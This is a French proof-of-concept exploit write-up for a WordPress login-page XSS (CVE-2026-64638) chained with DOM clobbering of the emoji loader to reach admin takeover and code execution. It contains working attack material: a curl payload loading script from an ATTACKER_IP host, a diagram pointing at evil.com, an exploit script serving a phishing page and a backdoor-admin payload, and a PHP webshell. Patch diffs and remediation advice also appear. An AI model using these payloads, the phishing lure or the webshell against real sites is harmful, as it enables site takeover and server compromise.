
Exploit de preuve de concept pour CVE-2026-64638 : XSS réfléchi dans la connexion WordPress, chaîné à du DOM clobbering pour parvenir à la prise de contrôle d'un compte administrateur et à l'exécution de code à distance.
Logiciel : WordPress Core ≤ 7.0.2 (toutes les versions antérieures à 7.0.3)
CVSS : 8.9 (Élevé)
CWE : CWE-79 — Mauvaise neutralisation des entrées lors de la génération de pages web
Authentification requise : Aucune (pré-auth)
Interaction utilisateur : Active (l'admin doit cliquer sur 1 lien)
Impact : XSS → prise de contrôle du compte → exécution de code à distance
WordPress est le système de gestion de contenu le plus populaire au monde, représentant plus de 40 % de tous les sites web sur Internet. Chaque site WordPress possède une page de connexion à /wp-login.php — c'est un point d'accès public que n'importe qui peut consulter sans authentification.
Lorsqu'un utilisateur saisit un nom d'utilisateur incorrect, WordPress affiche un message d'erreur contenant exactement le nom d'utilisateur qu'il vient de taper : « Le nom d'utilisateur X n'est pas enregistré sur ce site. » Le problème réside dans le fait que la valeur du nom d'utilisateur est placée directement dans la réponse HTML sans passer par aucune fonction d'échappement — un attaquant n'a qu'à saisir du HTML/JavaScript à la place d'un vrai nom d'utilisateur, et le code sera exécuté dans le navigateur.
Il s'agit d'une faille de type XSS réfléchi — la charge utile est contenue dans la requête et renvoyée à l'identique par le serveur dans le HTML. Ce qui la rend dangereuse, c'est que la faille se trouve sur la page de connexion — un endroit fréquemment consulté par les admins, où les cookies de session admin peuvent être volés.
L'équipe de recherche a également découvert que ce XSS peut être chaîné avec une vulnérabilité de DOM clobbering dans l'emoji-loader de WordPress, permettant de charger du JavaScript depuis un serveur externe. À partir de là, un attaquant peut créer un nouveau compte admin → installer une extension contenant un webshell → exécuter du code PHP sur le serveur. Cette chaîne d'exploitation est appelée XSS2Shell.
WordPress charge le support des émojis sur chaque page (y compris la page de connexion) via le fichier emoji-loader.js. Ce script lit la configuration à partir d'un élément possédant id="wp-emoji-settings" :
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() renvoie le premier élément du DOM dont l'identifiant correspond. Si un attaquant injecte une <div id="wp-emoji-settings"> avant la balise script d'origine, getElementById lira le contenu de l'attaquant au lieu de la configuration réelle. Cette technique est appelée DOM clobbering — le fait d'écraser le comportement de JavaScript en injectant des éléments HTML.
La configuration des émojis contient une URL permettant de charger un fichier JavaScript (concatemoji). L'attaquant contrôle cette URL → charge un fichier JS depuis un serveur externe → exécute du code arbitraire dans le contexte du navigateur.
Une fois l'exécution de JavaScript dans le contexte admin obtenue, l'attaquant dispose de tous les privilèges admin de WordPress :
/wp-admin/user-new.php avec la session admin/wp-admin/plugin-install.phpN'importe laquelle de ces 3 méthodes permet d'exécuter du code PHP sur le serveur — autrement dit un RCE.
À partir du commit de correctif 0d6d42e sur wordpress-develop, j'ai identifié 3 emplacements dans le fichier wp-includes/user.php où le nom d'utilisateur/l'e-mail est placé directement dans le message d'erreur :
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Emplacement 1 — ligne 189 (le nom d'utilisateur n'existe pas) :
Avant :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

Après :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Emplacement 2 — ligne 216 (mot de passe incorrect) :
Avant :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
Après :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Emplacement 3 — ligne 299 (mot de passe incorrect pour l'e-mail) :
Avant :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
Après :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Flux de données de la requête POST au message d'erreur :
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
WordPress dispose de 2 couches de filtrage avant que le nom d'utilisateur n'atteigne le HTML :
Couche 1 : sanitize_user() — appelle strip_tags() pour supprimer les balises HTML. Cependant, strip_tags() de PHP a des limitations connues : un format de balise non standard peut contourner le filtre.
Couche 2 : wp_kses_post() — laisse passer un sous-ensemble sûr de HTML, notamment <div>, <a>, `` avec certains attributs (mais supprime les gestionnaires d'événements comme onerror, onload). Point crucial : wp_kses_post autorise <div id="wp-emoji-settings"> — précisément l'élément nécessaire pour le DOM clobbering.
L'équipe pwn.ai a trouvé un moyen de contourner les deux couches pour injecter une charge utile exploitable. Les détails techniques précis n'ont pas été divulgués publiquement.
Pour confirmer visuellement que le nom d'utilisateur va directement dans le HTML sans échappement, j'ai utilisé Xdebug + VS Code pour placer des points d'arrêt aux endroits clés de la chaîne d'exécution.
Étape 1 — saisir la charge utile XSS dans le formulaire de connexion :
Accéder à http://localhost:8282/wp-login.php, saisir `` comme nom d'utilisateur puis cliquer sur Log In. Une popup d'alerte apparaît — le XSS fonctionne.


Étape 2 — point d'arrêt à user.php:184 — là où le XSS se produit :
Placer un point d'arrêt à return new WP_Error(...) dans la fonction wp_authenticate_username_password(). Lorsque le débogueur s'arrête, observer :
$username = "" — charge utile HTML intacte, non échappée$_POST : log = "" — confirme que la charge utile provient de la saisie du formulairewp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
La valeur $username passe de $_POST['log'] → wp_unslash() → (contourne sanitize_user) → sprintf() dans le message d'erreur aux lignes 186-189 — aucun esc_html() entre les deux. En laboratoire, sanitize_user() a été commenté pour simuler le contournement découvert par pwn.ai.
Étape 3 — point d'arrêt à functions.php:9200 — sortie finale :
Placer un point d'arrêt à echo wp_get_admin_notice( $message, $args ) — c'est la dernière ligne avant que le HTML ne soit envoyé au navigateur :
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — la charge utile reste intacte dans le message d'erreur HTMLwp_kses_post() (retirée par correctif pour simuler le contournement), donc la charge utile va directement au navigateur
Dans WordPress d'origine, cette ligne est echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() supprimera l'attribut onerror mais laissera passer <div id="wp-emoji-settings"> car <div> est dans la liste blanche. C'est exactement le vecteur de l'attaque par DOM clobbering.
Le commit a12c8f5 modifie emoji-loader.js pour bloquer le DOM clobbering :
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
Le correctif change 3 choses :
querySelector('script#...') au lieu de getElementById — ne correspond qu'aux balises <script>instanceof HTMLScriptElement — empêche le DOM clobbering via <div> ou ``.text au lieu de .textContent — .text est une propriété spécifique de HTMLScriptElementAprès le correctif, même si un attaquant parvient à injecter <div id="wp-emoji-settings">, emoji-loader l'ignorera car ce n'est pas un élément <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
Accéder à http://localhost:8282/wp-login.php, saisir :
Cliquer sur Log In. Si une popup d'alerte affichant « localhost » apparaît → le XSS fonctionne.
Résultat — charge utile reflétée intacte dans le HTML :

Charge utile plus complexe — injecter une <div> avec id="wp-emoji-settings" contenant un JSON pointant vers le fichier JS de l'attaquant :

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Si la sortie HTML contient <div id="wp-emoji-settings"> avec le JSON de l'attaquant → emoji-loader chargera le JS depuis le serveur de l'attaquant.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
Le script exploit.py sert 2 choses :
http://127.0.0.1:9999/phish.html — page de phishing imitant une mise à jour de sécurité WordPresshttp://127.0.0.1:9999/evil.js — charge utile JS créant un compte admin porte dérobéeL'attaquant envoie le lien http://127.0.0.1:9999/phish.html à l'admin par e-mail/chat. Lorsque l'admin clique :
/wp-login.php avec un nom d'utilisateur contenant la charge utile XSS<div id="wp-emoji-settings"> apparaît dans le HTMLemoji-loader.js lit la fausse div → charge evil.js depuis le serveur de l'attaquantevil.js s'exécute dans le navigateur de l'admin → récupère /wp-admin/user-new.php pour obtenir le nonce → crée le compte backdoor_xss2shell / Pwn3d!XSS2Shell
L'ensemble du processus s'effectue automatiquement ; l'admin ne voit que la page de connexion normale avec l'erreur « nom d'utilisateur introuvable ».
En laboratoire, l'admin était déjà connecté avec admin / admin123, donc evil.js s'est exécuté immédiatement. Après avoir obtenu l'accès au compte, j'ai immédiatement téléversé un webshell via une extension :

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


La sortie a renvoyé www-data — l'attaquant dispose désormais de privilèges d'exécution de commandes sur le serveur.
/wp-login.php est toujours public et ne peut pas être masqué (sauf en utilisant des extensions pour changer l'URL de connexion)HttpOnly n'est pas défini correctement) ou d'hameçonner des identifiantsCorrectif 1 — échapper la sortie (user.php) :
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Correctif 2 — durcir emoji-loader (emoji-loader.js) :
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Correctif 3 — échapper l'URL (wp-login.php) :
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php avec une charge utile HTML dans le paramètre logsanitize_user() est conçu pour normaliser les noms d'utilisateur, pas pour empêcher les XSS. Défense en profondeur : l'échappement au point de sortie (esc_html, esc_attr, esc_url) est la couche de défense finale et la plus critique.getElementById pour des données sensibles à la sécurité. Le DOM clobbering peut injecter un faux élément avec le même id. Utilisez querySelector avec un nom de balise spécifique et une vérification instanceof.wp_kses_post n'est pas un filtre XSS. Il est conçu pour autoriser du HTML sûr dans le contenu des publications — pas pour bloquer les XSS dans d'autres contextes. Chaque contexte nécessite sa fonction d'échappement dédiée.| Attribut | Valeur |
|---|
| ID CVE | CVE-2026-64638 |
| Score CVSS | 8.9 (Élevé) |
| Logiciel | WordPress Core ≤ 7.0.2 |
| Authentification | Aucune requise (pré-auth) |
| Interaction utilisateur | Nécessite 1 clic (l'admin clique sur le lien) |
| Complexité d'attaque | Élevée |
| Correctif | WordPress 7.0.3 (08/06/2026) |
| Rapporteur | équipe pwn.ai via HackerOne |
| Rapport HackerOne | #3877102 |
| Métrique CVSS | Valeur | Raison |
|---|
| Vecteur d'attaque | Réseau | Via HTTP, en envoyant le lien à la victime |
| Complexité d'attaque | Élevée | Nécessite de contourner sanitize_user() + wp_kses_post(), nécessite un clic de la victime |
| Privilèges requis | Aucun | Le point d'accès de connexion ne requiert aucune authentification |
| Interaction utilisateur | Active | L'admin doit cliquer sur le lien de phishing |
| Confidentialité | Élevée | Lecture des cookies, de la session, du contenu du panneau d'administration |
| Intégrité | Élevée | Création d'un compte admin, installation d'extension, modification de fichiers |
| Disponibilité | Élevée | RCE → contrôle total du serveur |